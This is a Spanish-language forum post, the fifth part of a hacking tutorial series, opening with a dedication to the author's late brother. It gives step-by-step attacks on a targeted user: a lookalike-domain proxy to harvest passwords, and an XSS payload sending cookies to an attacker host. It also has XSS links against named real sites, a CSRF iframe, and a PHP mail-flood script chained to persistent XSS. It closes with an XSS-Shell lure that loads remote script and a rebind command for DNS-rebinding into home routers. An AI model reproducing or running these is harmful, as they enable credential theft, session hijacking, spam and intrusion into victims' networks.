QUINTA PARTE
Antes de comenzar quiero hacer una
DEDICATORIA muy, muy especial…
“A mi hermano Javier que murió hace cuatro días después de luchar contra un cáncer.
Durante julio y agosto esta “saga” de Y tras el Router Qué? Me ayudó a pasar las noches de vigilia, los días de sufrimientos y esperanzas.
Soy yo quien agradece a estos foros por encontrar un lugar en el que pude evadirme de la realidad que me acompañó en estos últimos meses, la lucha que tenía Javier contra “todo” venía de mucho mas atrás, pero fueron estos últimos meses los que mas encontró a “su gente” y con nosotros, también estabais todos vosotros sin saberlo.
Te fuiste de mi lado un día… mientras escribía esta quinta parte, la termino para ti. El dolor que me has dejado, duele… duele mucho, pero no es comparable con la alegría de haber podido disfrutar de tu compañía, de haber estado a tu lado.
Javi, esto es lo que hacía cuando me preguntabas… por ello te dedico estas líneas para que aquellos que lean estos foros, estos últimos mensajes mios, te recuerden sin conocerte, GRACIAS a ti… sin ti esto quizás no hubiese salido de la misma forma.”Y otra cosa, la última: Sé que más de uno de vosotros estará tentado a enviarme sus condolencias, por mensaje o directamente en este hilo…
no lo hagáis, os lo pido por favor.Vale… después de unas cuantas lágrimas y varios suspiros… empecemos:
Un resumen de lo que viene, primero de
lo que ya NO es: * No tenemos “control” directo del router y/o red víctima.
* No podemos cambiar configuración alguna del equipo, router o red víctima.
* No conocemos nada acerca de la configuración de la red víctima, sólo su ip pública.
Ahora
lo que SI conocemos: * Conocemos que es “asiduo” de algún foro/blog/red social (en nuestros ejemplos serán Wadalbertia, Yahoo mail, Facebook y Footbag)
* Conocemos su nick, cuenta de correo, nombre de usuario o similar.
Y por último
lo que intentaremos y técnicas a utilizar: * Intentaremos hacernos pasar por esos servidores/servicios con el objeto de:
a.- Robar sus contraseñas
b.- Suplantar la sesión activa
c.- Controlar el navegador del cliente víctima
* Usaremos técnicas de:
1.- ProxyPass y ProxyPassReverse con apache
2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes
3.- Cross Site Request Forgery (CSRF)
4.- Control del navegador y ejecución de comandos con XSS-Shell
5.- Secuestro de sesión http mediante túneles XSS
6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS
Obviamente hay muchas otras técnicas y pruebas que podemos realizar, pero elegí estas porque (aunque alguna tiene la “solera” de 16 años, siguen activas y vigentes) son como más novedosas, atrevidas, desconocidas por muchos, poco “comentadas” en nuestros foros y.. en definitiva, mas arriesgadas a la vez que efectivas, de todas ellas seguro que encontraréis suficiente información en la web, pero seguro que “pocas” o ninguna con el detalle y ejecución “hasta el final” para conseguir el objetivo, no es por vanagloria personal, pero así es.
Todo no es “gratuito”, para alguna de ellas precisaremos de algunos recursos “extra” como por ejemplo algún dominio REAL y registrado por el atacante… y claro… este pequeño texto que seguro a mas de uno le acompañará muchas horas de estudio y trabajo… por todo ello, no es del todo “gratuito”.
También nos vamos a alejar un tanto de “los grandes” y nos centraremos en pequeñas redes y/o usuarios domésticos, así será mas asequible para todo el mundo.
Como introducción a lo que nos ocupa, creo que ya está bien… ahora manos a la obra.
1.- Robo de contraseñas, ingeniería social y algo de fortuna…Hasta ahora hemos usado apache con mod_proxy para “interponer” un Proxy entre el atacante y la víctima, lo hacíamos con efectividad porque ya habíamos conseguido que nuestros “clientes” usaran como servidor DNS primario la propia máquina del atacante..
Ahora, no será así… ya no disfrutamos de esa enorme ventaja, en su lugar tendremos que acudir al “engaño” y hacernos pasar por quien realmente no somos.
Tenemos que intentar “a toda costa” que los clientes visiten nuestra web y/o incitarles a que sigan un enlace con destino a una web del atacante… o directamente hacia la máquina del atacante.
Digamos que es como un “ataque reactivo” la víctima acude y nosotros respondemos con “malas formas”.
En este primer ejemplo “asumimos” que el atacante tiene registrados y dispone de control total de “dominios” similares a los que pretende falsificar, en nuestro ejemplo wadalbertia.com
wadalbertia.com (dominio sin registrar todavía y que suplantará al verdadero que son nuestros foros de wadalbertia.org)
Como wadalbertia.com está (suponemos) en poder del atacante, éste interpondrá el Proxy y capturará contraseñas de acceso.
Para este ejemplo y todos los que se sucederán (tal y como dijimos antes) sabemos la dirección mail de la vícitma y obviamente la del atacante… en todos los ejemplos usaremos:
soyunavictima@yahoo.es como cuenta de la vícitima
soyunatacante@yahoo.es como cuenta de correo del atacante.[/list]
Estas cuentas han sido activadas expresamente para todos nuestros ejercicios, y como has de suponer, tras la publicación de este texto están suspendidas o eliminadas.
Bien, pues suponiendo que el dominio wadalbertia.com esté en poder del atacante y que en el DNS se haya creado una entrada hacia
http://www.wadalbertia.com sólo tenemos que configurar nuestro servidor web con el virtualhost correspondiente y proxypass
NameVirtualHost *:80
Listen 0.0.0.0:80
<VirtualHost *:80>
ServerName http://www.wadalbertia.com
ServerAlias http://www.wadalbertia.com
ProxyPreserveHost off
ProxyRequests off
ProxyVia off
<Proxy *>
Order deny,allow
llow from all
</Proxy>
ProxyPass / http://www.wadalbertia.org/
ProxyPassReverse / http://www.wadalbertia.org/
<Location />
Order allow,deny
Allow from all
</Location>
</VirtualHost>
Y para que la victima acuda.. podemos enviarle un mail
Video 01: Suplantación con ProxyPass de Wadalbertia.com[youtube]http://www.youtube.com/watch?v/evviuDIIh1s&hl=es&fs=1[/youtube]
Y si fuese https???Por ejemplo con
http://www.facebook.com y con
https://login.facebook.comMas difícil… la solución vendrá “tras vuestros avances” de momento no doy pistas, lo probáis que con todo lo que ya hemos aprendido hay para un rato.
2.- Envío de correo o spam con ataques Cross Site Scripting PersistentesBien, antes de empezar con el asunto tendríamos que hablar de XSS y de lo XSS persistentes.
De Cross Site Scripting (XSS) no voy a decir nada nuevo, ya sabemos de lo que trata y que “en condiciones normales” actúa contra el navegador del cliente y que “a veces” se usa para robo de cookies y otras fugas de información, habitualmente con código javascript.
Consiste en “obligar” a la víctima seguir un enlace (mediante un clic directo, mediante imágenes, mediante frames, mediante flash, mediante descargas pdf, videos, etc.,,) y ese enlace “conecta” con el servidor web y/o aplicación afectada.
Una vez que eso ya se consiguió se puede redirigir al cliente, presentarle información “errónea”, enviar información privada a un tercero y todo lo que ya conocemos.
Los XSS “habituales” suelen ser url’s con “cosas raras” (en ocasiones sumamente raras), a veces muy largas, casi siempre con caracteres y o contenidos en los equivalentes hexadecimales y no en texto legible.
Un ejemplo: (de un banco… para que veamos que no todo el monte es orégano)
http://www.bankofireland.ie/site-search/htsearch?words=%3Cscript%3Ealert%28%22Diosz%20Esxiste!!!%22%29%3C%2Fscript%3E&Submit=GOhttp://www.bankofireland.ie/site-search/htsearch?words=%3Cscript%3Ealert%28%22Diosz%20Esxiste!!!%22%29%3C%2Fscript%3E&Submit=GO
Otro ejemplo… este “imaginario”
http://www.ejemplo.com/phpBB2/privmsg.php?mode=%22%3e%3c%73%63%72
%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61
%74%69%6f%6e%2e%68%72%65%66%3d%e2%80%99%68%74%74%70%3a%2f%2f
%77%77%77%2e%61%74%61%63%61%6e%74%65%2e%63%6f%6d%2f%72%6f%62
%61%2e%70%68%70%3d%e2%80%99%2b%64%6f%63%75%6d%65%6e%74%2e%6
%6f%6f%6b%69%65%65%3b%3c%73%63%72%69%70%74%3e
que “en texto claro es esto”:
http://www.ejemplo.com/phpBB2/privmsg.php?mode=”><script>alert(document.cookie);document.location.href=’http://www.atacante.com/roba.php=’+document.cookiee;<script>
Tanto este último como el anterior son “sospechosos” y el que lo vea pues como que no… imagina postear eso en un blog, en un foro o recibir un correo “invitándote” a pinchar en ese enlace…
Para “disimular” podemos usar el servicio de
minilink, por ejemplo esto mismo es un enlace hacia el segundo:
http://minilink.es/zuDe este tipo hay muchos por la red, como tiny.cc… esto sería lo mismo para el ejemplo del banco:
http://tiny.cc/pbx55Bueno, dejando a parte la habilidad con el que un XSS nos puede afectar y la forma en que lo presentamos, tenemos que ver qué es eso del XSS persistente.
Como acabamos de ver, si un visitante pincha en el enlace del banco que pusimos o mediante otros métodos obligamos a que se “lo trague” (una imagen o iframe oculto) pues aparecerá la ventanita esa de que Diosz Existe!!!.
Pero para ello tuvimos que “inyectar” el código XSS en el enlace real… pues bien, un XSS Persistente es aquel que de una forma u otra una vez “inyectado” PERMANECE y el visitante que accede a la web (sin añadir el XSS) se ve afectado.
Un ejemplo “muy básico”:
http://vmthor.site50.net/miblog2/pagina.phpEsta “web” admite un parámetro que se llama
param=lo-que-seaDe tal modo que lo-que-sea es el texto que se “posteará” en ese “blog” y se presupone que quedará almacenado por algún lugar….
Es decir, si ponemos:
http://vmthor.site50.net/miblog2/pagina.php?param=Wadalbertia
La palabra “Wadalbertia” se escribirá en pantalla como resultado, esto:
Contenido de archivo.txt = Wadalbertia
El filtro de entrada sustituye algún que otro carácter.. por ejemplo, si pinemos
http://vmthor.site50.net/miblog2/pagina.php?param=”Wadalbertia”
aparecerá esto otro:
Contenido de archivo.txt = "Wadalbertia"
Como vemos, el filtro sustituye las comillas por ” como medida “disuasoria”
Qué pasaría si ponemos:
?param=<script>alert(“Dios Existe!!!”)</script>
Pues si lo dejase pasar el filtro, todo el que visualizase es “post” sufriría el XSS persistente, no funcionará porque tenemos que usar alguna técnica de “filter evasion” , una de las más conocidas y funcionales es utilizar la función javascript
String.fromCharCode.A esta función le deben seguir los valores en decimal equivalentes a los caracteres que deseasemos, bueno en el vídeo lo veremos mejor.
Una web “cómoda” para traducirlo es:
http://home2.paulschou.net/tools/xlate/Veamos en el vídeo como somos (incapaces) y luego capaces de inyectar ese XSS.
Vídeo 02: XSS Persistente de forma simplificada.[youtube]http://www.youtube.com/watch?v/ZjBKk0CcKkU&hl=es&fs=1[/youtube]
Te invito que pruebes esto mismo con:
http://vmthor.site50.net/miblog/blog.htmlAsí te entretienes un ratito… 
Ahora tenemos que “ver” otro concepto, el
CSRF.
También encontraréis sobrada información de ello por Internet, sólo apuntaré que CSRF no es otra cosa que “la confianza” que tienen las aplicaciones, ventanas o pestañas del navegador en otras que estaban abiertas antes que la nueva.
De todos es conocido que cuando navegamos por Internet y pinchamos en un enlace, en ocasiones, se nos abre una nueva ventana del explorador o una nueva pestaña… otras veces el contenido de ese enlace se muestra en la ventana activa… es lo normal.
Y qué pasa si ese enlace pretende (por ejemplo) cerrar la sesión que teníamos activa en otra ventana… pues que como unas confían en otras… se cierra.
Vemos un vídeo de cómo un usuario de yahoo mail pincha en un enlace que le llega por correo y cuando “regresa” a ver/leer mas correos se encuentra que su sesión se cerró.
El atacante envía un correo a
soyunavictima@yahoo.com y cuando éste lee el correo y pincha en el enlace…
El código del enlace “maligno” es:
<html>
<object width="425" height="344">
<param name="movie" value="http://www.youtube.com/v/h4y3cfJESzw?hl=es&fs=1"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="http://www.youtube.com/v/h4y3cfJESzw?hl=es&fs=1"
type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
</embed>
</object>
<iframe src="https://login.yahoo.com/config/login?logout=1" width="0" height="0"></iframe>
</html>
[youtube]http://www.youtube.com/watch?v/cIgN7Lsic9A&hl=es&fs=1[/youtube]
Lo que acabamos de ver no deja de ser “molesto” y nada mas… pero… y si gracias (o por desgracia) a esta funcionalidad el usuario recibe un correo, lo abre, pincha en el enlace (o mediante una imagen “mal intencionada”), y tras leer el correo que le llegó sin quererlo ni beberlo… envía 500 correos a una lista de distribución.
Y si ese correo se envía a cientos de usuarios… pues serán cientos de usuarios los que enviarán a su vez 500 correos a esa lista de distribución…
Pues eso, también es molesto… molesto para los que le lleguen 385 (es un ejemplo) correos de lo mismo y por diferentes cuentas… también es molesto para los servidores de correo, molesto para el que lo envía, molesto para todos menos para el que lo “ideó” que a lo mejor saca partido de ello vendiendo “humo”.
Por si fuese poco… si esto lo unimos a un XSS de tipo persistente, pues “to quisqui” que visite una web afectada por ese fallo estará enviando 500 correos a otros tantos destinos… y todo ello por cada visita… si ese sitio tiene 1000 visitantes diarios y si se “configura” el XSS persistente para enviar 300 correos a 500 direcciones destino… pues multiplicad… 300 x 500 x 1000 = 150.000.000 correos diarios que se come el servidor y los destinatarios….
De momento nos “conformamos” con preparar una web mediante un script php que envíe un correo a nosotros mismos… vamos a enviarlo del atacante para el atacante, luego ya jugaremos con el resto.
Usaremos Live http Headers en firefox para capturar los envíos y las respuestas.
El script es este:
$service_port = getservbyname('www', 'tcp');
$address = gethostbyname('de.mc249.mail.yahoo.com');
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "
";
} else {
echo "OK.
";
}
echo "Intentando conectar con... '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
echo "socket_connect() failed.
Reason: ($result) " . socket_strerror(socket_last_error($socket)) . "
";
} else {
echo "OK.
<br><br>";
}
$in = 'AQUI SE PEGAN LAS CABECERAS DEL MAIL!!!!!';
// ESTA LINEA ES IMPORTANTE!!!
$in .= "Connection: Close
";
echo "Enviando peticiones HTTP...";
socket_write($socket, $in, strlen($in));
echo "OK.
<br><br>";
echo "Cerrando Sockets...";
socket_close($socket);
echo "OK.
<br><br>";
echo "<h3>ENVIADO!!!!</h3>
<br><br>";
?>Oberva la línea que dice “Aquí se pegan las CABECERAS DEL MAIL”, habrá que hacer eso… copiar alli el post que capturemos con Live Headers y mira bien el vídeo para que lo hagas “tal cual”.
Vídeo 04: Probando un correo de yahoo.[youtube]http://www.youtube.com/watch?v/Lt8EuV7OQy0&hl=es&fs=1[/youtube]
Vale, ahora que ya hemos comprobado que el correo se envía correctamente… vamos a “toquetear” un poco para que:
* Se Envíe como “Dr. Wadalberto Informa a sus súbditos.”
* Se envíe a la víctima y no al atacante
* Eliminamos todas la salida de información del script
* Se envíen 10 correos cuando cualquiera visite la web
Las modificaciones de cabeceras y destinatarios lo veremos en el vídeo. Para enviar 10 correos en lugar de uno sólo, usaremos un bucle dentro del script php, quedaría así:
<?php
$service_port = getservbyname('www', 'tcp');
$address = gethostbyname('de.mc249.mail.yahoo.com');
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($socket, $address, $service_port);
$in = 'CABECERAS DEL MAIL';
$in .= "Connection: Close
";
$i=0;
// ENVIAR 10 CORREOS!!!
while ($i<10) {
socket_write($socket, $in, strlen($in));
sleep(1);
$i++;
}
socket_close($socket);
?>
Recuerda que hay que pegar el contenido en la variable
$in, veámoslo:
Vídeo 05: Modificamos el correo hacia el destino.[youtube]http://www.youtube.com/watch?v/ADgk63LiW-o&hl=es&fs=1[/youtube]
Eureka!!! La víctima recibe 10 mails… ahora la “malicia”
Recordáis el ejemplo del XSS persistente??Bueno, pues imaginad que en lugar de esa web “cutre” y que no visita ni el “pepe” fuese… youtube o facebook… y que encontrásemos ese bug… resultaría que por cada visita de cada usuario (miles y miles) al inyectar el código persistente… miles y miles multiplicado por 10 correos…
Lo vemos con la web de ejemplo, como es vulnerable al xss presistente, el atacante inyectó este código:
<html><iframe src="http://vmthor.site50.net/mail/embudo.php" width=0 height=0 </iframe></html>
El resultado es que todo el que visite
http://vmthor.site50.net/miblog2/pagina.phpSi saberlo y por cada visita… se envían 10 correos a la víctima.
Veamos cómo es… vamos a visitar esa web… la vícitma debería recibir 10 correos…
Vídeo 06: Unión del spam con un XSS persistente.[youtube]http://www.youtube.com/watch?v/cDVt1Qwif1c&hl=es&fs=1[/youtube]
Perfecto… Tenemos una web vulnerable a un XSS Persistente… un “malvado spammer” inyectó un código malicioso que “apunta” a otra web que a su vez carga otra página “oculta” y que envía 10 correos por cada visita. Punto final.
Lógicamente el atacante usará una cuenta de correo “robada” (no necesita usuario ni contraseña…basta con robar las cookies de una posible víctima) o también puede usar una cuenta de correo para ese ataque y luego darla de baja pasado un tiempo… en fin, no es mas que un ejemplo “práctico” y “nefasto” de lo que se puede hacer con un XSS persistente…
Un ejemplo real que causó “estragos” por Facebook, lo corrigieron hace muy poquito, pero os dejo un mirror para que lo probéis:
http://vuln.xssed.net/2010/07/30/www.facebook.com(1)/
Era persistente… y ufff… sin comentarios.
4.- Control del navegador y ejecución de comandos con XSS-ShellDe esto hubo un post en nuestros foros… joer… no me digáis que nadie lo llevó a la práctica... seguro que sí..
http://www.wadalbertia.org/foro/viewtopic.php?f=18&t=3271Bien, pues vamos a un caso real… para ello me busqué varios foros vulnerables… para hacerlo “sencillo” elegí un phphBB2 de una versión muyyyy antigua, pero nada mas que por comodidad… luego veremos otros mas modernos, mejor dicho… una tienda virtual con lo que la cosa “se agrava” porque podemos comprar en nombre de otro.
Necesitamos un hosting que admita asp para “guardar” la XSS Shell para poder manejar a las vícitmas y debe soportar access como base de datos, os recomiendo jarby y/o 7host que funcionan ok.
Primero nos descargamos Xss-shell (incluye xss-tunnel que lo usaremos mas tarde) desde:
http://www.portcullis-security.com/tools/free/xssshell-xsstunnell.zipTambién viene con un “pdf” que explica mas detalladamente que lo haré yo el funcionamiento… lo que no “incluye” es la configuración “a medida”
Una vez descargado subimos al Server el contenido de la carpeta XSSShell - v0.6.2 en algún directorio que hubiésemos creado.
Los archivos que tenemos que “tocar” son:
xssshell.asp que está en la carpeta principal de la “aplicación”
db.asp que está dentro de la carpeta /admin.[/list]
Xss-shell es una demostración de lo peligroso que pueden llegar a ser los ataques Cross Site Scripting, enseguidita lo vemos.
Para saber “donde” debemos colocar la base de datos nos creamos un sencillo script en asp que pregunte al servidor del hosting cual es la unidad y ruta donde almacenar la base de datos, el script es este (lo llamé p.asp)
<%
Response.Write Server.MapPath(".")
%>
Este archivo llamado
p.asp lo subimos tambien al hosting.
Lo vamos a ver todo seguido en un video
Vídeo 07: Instalar y configurar XSS-Shell. Path de la base de datos.[youtube]http://www.youtube.com/watch?v/3vlj3jdtiM4&hl=es&fs=1[/youtube]
Bien, acabamos de descubrir que la ruta de instalación de nuestra base de datos debe ser:
E:user1veroluluXSSLuego borramos ese script “por si las moscas” y así nadie sabe la ubicación real de la BBDD.
Ahora lo que tenemos que hacer es modificar el script db.asp de la carpeta admin en xssshell.
Concretamente debemos cambiar el path de la base de datos por el que obtuvimos antes y la contraseña “por defecto” que es w00t. Los encontraréis en las
líneas 23 y 124 del script db.asp.Vídeo 08. Configurar /admin./db.asp de XSS-Shell[youtube]http://www.youtube.com/watch?v/wBpbA7U3Pq0&hl=es&fs=1[/youtube]
Ahora probamos que nos podemos conectar con el script xssshell…
Vídeo 09: Comprobar que nos conectamos a Xssshell[youtube]http://www.youtube.com/watch?v=nrtrZfUzreI&feature=player_embedded[/youtube]
Todo va estupendamente… ahora tenemos que configurar el script xssshell.asp pero antes… como no vamos a usar los ejemplos que vienen con la aplicación, nos buscamos una web vulnerable… como dije, cualquiera que presente un bug XSS nos sirve, probemos con
footbag… antes de ver la configuración de xssshell.asp vamos a ver el bug de estos foros (son muy antiguos, pero nos servirán muy bien como ejemplo)
Ya me registré en estos foros hace mucho tiempo (precisamente para probar esto y explicarlo a mis alumnos…) el usuario es Veronicasinmas, el nick es viclulu y la contraseña… esa no os la digo… aunque tal y como está eso… casi mejor sería decirla
usaremos un XSS de las faq de phpbb2, este es:
http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(“Dios Existe!!!”)</script>
http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(“Dios Existe!!!”)</script>
De momento no es necesario registrarse… solo probar…
Video 10: Buscando foros….[youtube]http://www.youtube.com/watch?v=lFzswEpr5Tc&feature=player_embedded[/youtube]
Ok. Tenemos un bonito XSS en ese foro… ahora lo tenemos que “enlazar” con el script xssshell.asp, allá sobre la línea 72 la variable del Server debe apuntar a:
http://free.7host05.com/verolulu/XSS/Que es donde tenemos hospedado a xsshell
Vídeo 11: Configurar xssshell.asp[youtube]http://www.youtube.com/watch?v=gdVHKsdqfJY&feature=player_embedded[/youtube]
Bien ya lo tenemos todo configurado… la ventaja de hacerlo así es que todo lo que ya hemos configurado nos servirá para CUALQUIER web vulnerable….
Ahora…
¿Cómo “caerá” la vícitma??Pues tendremos que “incitarle” a que visite otra web, esto en unos foros como los nuestros está chupado puesto que es normal, común y lógico que los usuarios enlacen a otros sitios de interés… también podemos usar correos, mensajes privados… en fin lo que se nos ocurra.
¿Y qué ha de contener ese “nueva web”?Pues además de unos bonitos contenidos, interesantes… debe “llamar” a xsshell junto con el bug de XSS.
Es decir… si recuerdas el bug del XSS era mas o menos así:
http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(DiosExiste!!!)</script>
Pues sencillamente en lugar de el alert… ponemos una llamada hacia nuestro xssshell. Por ejemplo esto:
http://www.footbag.org/forum/faq.php?faq[0][0]= <script src="http://free.7host05.com/verolulu/XSS/xssshell.asp"></script>
Obviamente hay pocas esperanzas que el/la víctima piche en semejante cosa como esa… podriamos usar un minilink, si… es una opción… pero es como mas elegante esto:
<html>
<object width="960" height="745">
<param name="movie" value="http://www.youtube.com/v/pNtrQnbO9yM?fs=1&hl=es_ES"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="http://www.youtube.com/v/pNtrQnbO9yM?fs=1&hl=es_ES"
type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="300">
</embed>
</object>
<iframe src="http://www.footbag.org/forum/faq.php?faq[0][0]=<script src='http://free.7host05.com/verolulu/XSS/xssshell.asp'></script>" width=0 height=0 </iframe>
</html>
Esto lo guardamos (por ejemplo con el nombre videofootbag.html y lo subimos a cualquer otro hosting (o al mismo de 7host pero no es necesario que sea el mismo) y en los foros de footbag.org posteamos un link diciendo que menudo peazo vídeo de footbag que hemos encontrado… y punto pelota.
Vemos en el proximo video esto mismo…
Vídeo 12: Preparando la web maliciosa[youtube]http://www.youtube.com/watch?v=5fX3VoFnVWw&feature=player_embedded[/youtube]
Lo único que tenemos que hacer es postear en ese foro algo que incluya este enlace:
http://vmthor.site50.net/footbag/videofootbag.html
Y todo el que pinche allí… pues se conectará con nuestra shell alojada en 7host y … bueno mejor lo vemos….
Los pasos son:
1- El atacante accede a el panel de admin. de la shell y espera a que las victimas se vayan conectado
2- La víctima lee el post del foro vulnerable y pincha en el enlace “ a ver que hay”
3- Sin saberlo se conecta con xsshell
4- Elige una y prueba los comandos
Vídeo 13: Finalizando el ataque XSS-Shell[youtube]http://www.youtube.com/watch?v=yQlQCrlwgA0&feature=player_embedded[/youtube]
Jaaaa… estarás preguntándote… menuda “*****” de ataque!!!! NO funciona nada!!!!Es cierto (y no lo es) para xssshell funcione medianamente bien, desde el atacante necesitamos Internet Explorer 6 (con IE7 dependerá de las actualizaciones que tengamos) ojo… digo de cara al atacante… la víctima puede tener lo-que-sea.
Vamos, que como tengo IE8 no funcionan los comandos de XSSShell desde la web… siiii sólo desde la web…
Ahora vamos a rematar esto… que nos queda un mal sabor de boca ;(
Vamos a ver en el vídeo qué ocurre cuando usamos XSS-Tunnel esto sí que mola.
Vídeo 14. XSS-Tunnel. Sin comentarios….[youtube]http://www.youtube.com/watch?v=dHKQeyFSK04&feature=player_embedded[/youtube]
6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS Como queráis llamarlo… o Anti-DNS pinnig o DNS Rebind… los dos valen.
Bueno, ¿Y qué es esto?El Anti-DNS pinnig es una técnica que utilizan los navegadores, servidores web’s, routers, etc.. para evitar precisamente lo que se conoce como rebind DNS, vamos, que te has quedado igual…
Haré un resumen muy, muy, breve. Para mas información… ya sabes… internete + Google.
Supongamos este caso:
1.- Un usuario accede a
http://www.malo.com antes de ello, debe resolver la ip y hace las consultas DNS pertinentes.
2.- el dominio malo.com está bajo el control del atacante y ha configurado el dns del proveedor de turno para que apunte a su máquina local, por tanto, los dns de Internet le dirán al visitante que malo.com es 1.1.1.1 (por ejemplo)
3.- El ordenata de la vicitima se conecta con la máquina del atacante para preguntarle cúal es la ip de la máquina www puesto que le han dicho sus servidores que es él quien lo sabe…
4.- El dns del atacante le dice que
http://www.malo.com es tal o cual ip (por ejemplo la misma 1.1.1.1) PERO le envía un TTL (un tiempo de vida de esa consulta) muy, muy bajo… de uno o dos segundos nada mas.
5.- la vícitma está feliz, ya tiene todo lo que buscaba pero en breve esa consulta le “caducará”
6.- Por otra parte, una vez que la víctima accedió a
http://www.malo.com (además de las paginitas web que queramos servir) el atacante le envía un… una imagen, un frame, un lo-que-sea, para que acceda a (por ejemplo) x125jpvv.malo.com.
7.- La víctima tiene que volver a preguntar quien es x125jpvv.malo.com, como el TTL de malo.com ya le ha caducado, vuelve a preguntar a los DNS de Internet que le vuelven a remitir a la ip del atacante (1.1.1.1)
8.- El atacante, bloquea las peticiones DNS que vengan de la IP de la vícitma que intenten resolver
http://www.malo.com y LE DICE que x125jpvv.malo.com es LA IP DE LA VÍCTIMA.
9.- La víctima sigue queriendo acceder a
http://www.malo.com y no puede porque el atacante le bloqueó, pero sí puede llegar (vía DNS del atacante) a la otra máquina que realmente es su propia IP.
10.- Además, y sin que la víctima lo supiese, el atacante levantó un PROXY entre él y la víctima de tal forma que para conectarse a malo.com la víctima utiliza el Proxy del atacante (esto lo consigue porque el atacante utilizó por ejemplo un applet de java), como es su propia IP, qué pasará??
Pues que el atacante tiene una vía directa de comunicación con la IP de la víctima mediante el Proxy.
Para poder realizar todo esto también hay que “luchar” contra las consabidas políticas del mismo origen, pero para el atacante es sencillo… la segunda respuesta DNS y la “redirección” hacia el “objetivo” la hace por otro puerto diferente al inicial, es decir, uno que no sea el 80.
Bueno, tenéis una información mas completa por ejemplo aquí:
https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdfEn la DEfcon de Agosto-2010 en Las Vegas se “volvió a presentar este mismo ataque” pero que sepáis que lleva “representandose” con éxito desde hace la friolera de 16 añitos…
Si además lo unimos a un XSS, pues… de vicio, en los ejemplos que veremos mas adelante no utilizo XSS, sencillamente la vícitma visita directamente la web del atacante.
Vale y???Pues que…
¿Qué es lo que “casi todos” nosotros (usuarios domésticos) tenemos “casi siempre” escuchando por el puerto 80 aunque sólo podamos acceder desde dentro?Exacto!!!
Nuestro Router!!!Pues eso es lo que se consigue, mediante el DNS Rebind el atacante puede acceder a los recursos internos y no accesibles desde Internet como si estuviese “dentro” de la red de la víctima (no necesariamente ha de ser el router)
Hombre… dirás… pero y el usuario/contraseña… pues sí, claro.. si no tenemos usuario y contraseña no vale… pero… ¿Cuántos hay por ahí que siguen usando las “de fábrica”?
admin/admin, 1234/1234, nada, etc, etc, etc… a mi me vienen unos cuantos MILES!!!
En fin, es enrevesado, pero demoledor habida cuenta de lo que ya hemos visto en las partes anteriores de lo que se puede hacer con acceso al router.
RECUERDA que para que todo funcione el atacante debe tener registrado un dominio en Internet y control total sobre el DNS, de otro modo no funcionará… lo digo por si os aventuráis con servicios como dyndns, noip, etc… esos no nos valen, necesitamos control de todo el dominio, no de subdominios.
En la escenificación que viene a continuación el atacante tiene registrado el dominio amarasadios.com siendo la web “malvada”
http://www.amarasadios.com/initCuando llegue el making-of ya os cuento mas…
Pues venga.. a lo nuestro…
Descargamos en la máquina del atacante rebind:
http://rebind.googlecode.com/files/rebind_0-3-4.tar.gzLo descomprimimos e instalamos en nuestro sistema.
Mientras tanto… veamos antes de hacer un dns rbind si el atacante puede acceder o no…
Vídeo 15: Antes del Anti-DNS Pinning[youtube]http://www.youtube.com/watch?v=d2XswNQgNL4&feature=player_embedded[/youtube]
Bueno… pues parece que no se puede…
Ahora vamos a lanzar a rebind…. Así:
./rebind –d amarasadios.com –i eth0 –t 193.251.1.17 –u '' –a '' –n 1000
-d nombre dominio del atacante
-i interface por donde trabajará rebind
-t dirección ip del objetivo
-u '' nombre usuario (p.e. en un router ‘estándar’ 1234, admin., etc..)
-a '' contraseña (idem de lo anterior)
-n milisegundos del TTL
Ahora El final...
Vídeo 16: Anti-DNS pinning funcionando....[youtube]http://www.youtube.com/watch?v=vPB5R-s06Vk&feature=player_embedded[/youtube]
Bien... pues ya está finalizada esta parte...
Os recuerdo que las cuentas de correo de los ejemplos las he desactivado, también está fuera de combate las webs de xsshell.Y un último vídeo… (este tiene sonido, jejeje) creo recordar que fue el_chaman quien le puso "ritmo" si no es así... que me perdone el susodicho.
[youtube]http://www.youtube.com/watch?v=h4y3cfJESzw&feature=player_embedded[/youtube]
Saludos.
Autor
En línea
